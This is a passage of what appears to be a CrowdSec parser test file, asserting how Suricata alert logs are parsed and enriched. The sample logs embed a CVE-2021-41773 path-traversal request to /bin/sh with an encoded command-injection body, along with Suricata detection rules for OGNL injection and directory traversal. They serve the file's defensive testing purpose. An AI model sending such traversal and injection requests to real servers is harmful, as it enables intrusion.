M2\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_HTTP_server\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2021_10_05\"],\"cve\":[\"CVE_2021_41773\"],\"deployment\":[\"Internet\",\"Perimeter\"],\"former_category\":[\"EXPLOIT\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2022_04_18\"]}},\"http\":{\"hostname\":\"34.245.178.108\",\"http_port\":80,\"url\":\"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\"http_content_type\":\"text/html\",\"http_method\":\"POST\",\"protocol\":\"HTTP/1.1\",\"status\":400,\"length\":166,\"http_request_body\":\"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"http_response_body\":\"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg==\"},\"files\":[{\"filename\":\"/bin/sh\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":33,\"tx_id\":0}],\"app_proto\":\"http\",\"flow\":{\"pkts_toserver\":4,\"pkts_toclient\":4,\"bytes_toserver\":623,\"bytes_toclient\":599,\"start\":\"2022-07-11T06:09:52.488697+0000\"},\"payload\":\"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"stream\":1}" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["program"] == "suricata-evelogs" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["suricata_alert_signature"] == "ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Parsed["time"] == "2022-07-11T06:09:52.602489" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["source_ip"] == "1.2.3.7" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["suricata_alert_signature_id"] == "2034125" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["suricata_flow_id"] == "1684596746908921" results["s01-parse"]["crowdsecurity/suricata-evelogs"][4].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][5].Success == false results["s01-parse"]["crowdsecurity/suricata-evelogs"][6].Success == false results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Success == true results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["time"] == "2022-07-12T06:09:52.602489" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["dest_port"] == "80" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-12T06:09:52.602489-0000\",\"flow_id\":1684596746908921,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.7\",\"src_port\":36288,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2034125,\"rev\":4,\"signature\":\"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_HTTP_server\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2021_10_05\"],\"cve\":[\"CVE_2021_41773\"],\"deployment\":[\"Internet\",\"Perimeter\"],\"former_category\":[\"EXPLOIT\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2022_04_18\"]}},\"http\":{\"hostname\":\"34.245.178.108\",\"http_port\":80,\"url\":\"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\"http_content_type\":\"text/html\",\"http_method\":\"POST\",\"protocol\":\"HTTP/1.1\",\"status\":400,\"length\":166,\"http_request_body\":\"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"http_response_body\":\"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg==\"},\"files\":[{\"filename\":\"/bin/sh\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":33,\"tx_id\":0}],\"app_proto\":\"http\",\"flow\":{\"pkts_toserver\":4,\"pkts_toclient\":4,\"bytes_toserver\":623,\"bytes_toclient\":599,\"start\":\"2022-07-12T06:09:52.488697-0000\"},\"payload\":\"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"stream\":1}" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["program"] == "suricata-evelogs" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["suricata_alert_signature"] == "ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["log_type"] == "suricata_alert" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["source_ip"] == "1.2.3.7" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["suricata_flow_id"] == "1684596746908921" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["service"] == "suricata" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["suricata_alert_signature_id"] == "2034125" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["suricata_rule_severity"] == "1" results["s01-parse"]["crowdsecurity/suricata-evelogs"][7].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" len(results["s01-parse"]["crowdsecurity/suricata-fastlogs"]) == 8 results["s01-parse"]["crowdsecurity/suricata-fastlogs"][0].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][1].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][2].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][3].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][4].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][5].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][6].Success == false results["s01-parse"]["crowdsecurity/suricata-fastlogs"][7].Success == false len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 4 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "2022-07-10T23:50:05.533101" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-10T23:50:05.533101+0000\",\"flow_id\":1258832998001901,\"in_iface\":\"bond0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.4\",\"src_port\":52812,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"metadata\":{\"flowbits\":[\"ET.formdata\",\"http.dottedquadhost\"]},\"community_id\":\"xx\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2024468,\"rev\":3,\"signature\":\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\",\"category\":\"Attempted User Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_Struts2\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2017_07_14\"],\"deployment\":[\"Datacenter\"],\"former_category\":[\"WEB_SPECIFIC_APPS\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2020_08_10\"]},\"rule\":\"alert http any any -> $HTTP_SERVERS any (msg:\\\"ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)\\\"; flow:established,to_server; http.method; content:\\\"POST\\\"; nocase; http.request_body; content:\\\"multipart\\\"; content:\\\"form-data\\\"; distance:1; within:11; content:\\\"ognl.OgnlContext\\\"; distance:1; fast_pattern; content:\\\"DEFAULT_MEMBER_ACCESS\\\"; distance:1; within:23; content:\\\"java.lang.ProcessBuilder\\\"; distance:1; content:\\\".start\\\"; distance:1; reference:url,securityonline.info/tutorial-cve-2017-9791-apache-struts2-s2-048-remote-code-execution-vulnerability/; reference:cve,2017-9791; classtype:attempted-user; sid:2024468; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_07_14, deployment Datacenter, former_category WEB_SPECIFIC_APPS, performance_impact Low, signature_severity Major, updated_at 2020_08_10;)\"},\"files\":[{\"filename\":\"%{0b\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":1,\"tx_id\":0}],\"app_proto\":\"http\",\"payload_printable\":\"POST /ind\\n\",\"stream\":1,\"packet\":\"xxx\",\"packet_info\":{\"linktype\":1}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "suricata-evelogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_alert_signature"] == "ET WEB_SPECIFIC_APPS OGNL Expression Injection (CVE-2017-9791)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["suricata_alert_signature_rev"] == "3" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["suricata_alert_signature_id"] == "2024468" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["suricata_flow_id"] == "1258832998001901" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-07-10T23:50:05.533101Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-07-10T23:50:05.533101Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-10T23:52:31.097119+0000\",\"flow_id\":836311304881252,\"in_iface\":\"bond0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.5\",\"src_port\":53114,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"metadata\":{\"flowbits\":[\"min.gethttp\",\"http.dottedquadhost\"]},\"community_id\":\"xx\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2843816,\"rev\":1,\"signature\":\"ETPRO HUNTING Generic Inbound URI Directory Traversal\",\"category\":\"Potentially Bad Traffic\",\"severity\":2,\"metadata\":{\"created_at\":[\"2020_08_04\"],\"deployment\":[\"Perimeter\"],\"former_category\":[\"HUNTING\"],\"performance_impact\":[\"Moderate\"],\"signature_severity\":[\"Informational\"],\"updated_at\":[\"2020_08_04\"]},\"rule\":\"alert http any any -> [$HTTP_SERVERS,$HOME_NET] any (msg:\\\"ETPRO HUNTING Generic Inbound URI Directory Traversal\\\"; flow:established,to_server; http.uri; content:\\\"=../\\\"; fast_pattern; classtype:bad-unknown; sid:2843816; rev:1; metadata:created_at 2020_08_04, deployment Perimeter, former_category HUNTING, performance_impact Moderate, signature_severity Informational, updated_at 2020_08_04;)\"},\"app_proto\":\"http\",\"payload_printable\":\"GET /ind.\",\"stream\":1,\"packet\":\"xxx\",\"packet_info\":{\"linktype\":1}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "suricata-evelogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_alert_signature"] == "ETPRO HUNTING Generic Inbound URI Directory Traversal" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["suricata_alert_signature_rev"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "2022-07-10T23:52:31.097119" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["suricata_alert_signature_id"] == "2843816" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["suricata_rule_severity"] == "2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["suricata_flow_id"] == "836311304881252" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-07-10T23:52:31.097119Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-07-10T23:52:31.097119Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "suricata-evelogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_alert_signature"] == "ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "2022-07-11T06:09:52.602489" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-11T06:09:52.602489+0000\",\"flow_id\":1684596746908921,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.7\",\"src_port\":36288,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2034125,\"rev\":4,\"signature\":\"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_HTTP_server\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2021_10_05\"],\"cve\":[\"CVE_2021_41773\"],\"deployment\":[\"Internet\",\"Perimeter\"],\"former_category\":[\"EXPLOIT\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2022_04_18\"]}},\"http\":{\"hostname\":\"34.245.178.108\",\"http_port\":80,\"url\":\"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\"http_content_type\":\"text/html\",\"http_method\":\"POST\",\"protocol\":\"HTTP/1.1\",\"status\":400,\"length\":166,\"http_request_body\":\"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"http_response_body\":\"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg==\"},\"files\":[{\"filename\":\"/bin/sh\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":33,\"tx_id\":0}],\"app_proto\":\"http\",\"flow\":{\"pkts_toserver\":4,\"pkts_toclient\":4,\"bytes_toserver\":623,\"bytes_toclient\":599,\"start\":\"2022-07-11T06:09:52.488697+0000\"},\"payload\":\"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"stream\":1}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["suricata_alert_signature_id"] == "2034125" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["suricata_flow_id"] == "1684596746908921" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-07-11T06:09:52.602489Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.2.3.7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-07-11T06:09:52.602489Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["dest_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["dest_port"] == "80" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "{\"timestamp\":\"2022-07-12T06:09:52.602489-0000\",\"flow_id\":1684596746908921,\"in_iface\":\"eth0\",\"event_type\":\"alert\",\"src_ip\":\"1.2.3.7\",\"src_port\":36288,\"dest_ip\":\"127.0.0.1\",\"dest_port\":80,\"proto\":\"TCP\",\"tx_id\":0,\"alert\":{\"action\":\"allowed\",\"gid\":1,\"signature_id\":2034125,\"rev\":4,\"signature\":\"ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2\",\"category\":\"Attempted Administrator Privilege Gain\",\"severity\":1,\"metadata\":{\"affected_product\":[\"Apache_HTTP_server\"],\"attack_target\":[\"Web_Server\"],\"created_at\":[\"2021_10_05\"],\"cve\":[\"CVE_2021_41773\"],\"deployment\":[\"Internet\",\"Perimeter\"],\"former_category\":[\"EXPLOIT\"],\"performance_impact\":[\"Low\"],\"signature_severity\":[\"Major\"],\"updated_at\":[\"2022_04_18\"]}},\"http\":{\"hostname\":\"34.245.178.108\",\"http_port\":80,\"url\":\"/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh\",\"http_user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\",\"http_content_type\":\"text/html\",\"http_method\":\"POST\",\"protocol\":\"HTTP/1.1\",\"status\":400,\"length\":166,\"http_request_body\":\"QT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"http_response_body\":\"PGh0bWw+DQo8aGVhZD48dGl0bGU+NDAwIEJhZCBSZXF1ZXN0PC90aXRsZT48L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+PGgxPjQwMCBCYWQgUmVxdWVzdDwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueC8xLjE4LjAgKFVidW50dSk8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4NCg==\"},\"files\":[{\"filename\":\"/bin/sh\",\"sid\":[],\"gaps\":false,\"state\":\"CLOSED\",\"stored\":false,\"size\":33,\"tx_id\":0}],\"app_proto\":\"http\",\"flow\":{\"pkts_toserver\":4,\"pkts_toclient\":4,\"bytes_toserver\":623,\"bytes_toclient\":599,\"start\":\"2022-07-12T06:09:52.488697-0000\"},\"payload\":\"UE9TVCAvY2dpLWJpbi8uJTJlLy4lMmUvLiUyZS8uJTJlL2Jpbi9zaCBIVFRQLzEuMQ0KSG9zdDogMzQuMjQ1LjE3OC4xMDg6ODANClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83OC4wLjM5MDQuMTA4IFNhZmFyaS81MzcuMzYNCkNvbnRlbnQtTGVuZ3RoOiAzMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkFjY2VwdC1FbmNvZGluZzogZ3ppcA0KQ29ubmVjdGlvbjogY2xvc2UNCg0KQT18ZWNobztlY2hvIC1uIE1NeW5LekJmY3p8bWQ1c3Vt\",\"stream\":1}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "suricata-evelogs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["proto"] == "TCP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_alert_signature"] == "ET EXPLOIT Apache HTTP Server 2.4.49 - Path Traversal Attempt (CVE-2021-41773) M2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["suricata_alert_signature_rev"] == "4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "2022-07-12T06:09:52.602489" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "suricata-logs-evelog.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "suricata_alert" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "suricata" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["sub_log_type"] == "suricata_alert_eve_json" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["suricata_flow_id"] == "1684596746908921" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.2.3.7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["suricata_alert_signature_id"] == "2034125" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["suricata_rule_severity"] == "1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-07-12T06:09:52.602489Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-07-12T06:09:52.602489Z" len(results["success"][""]) == 0 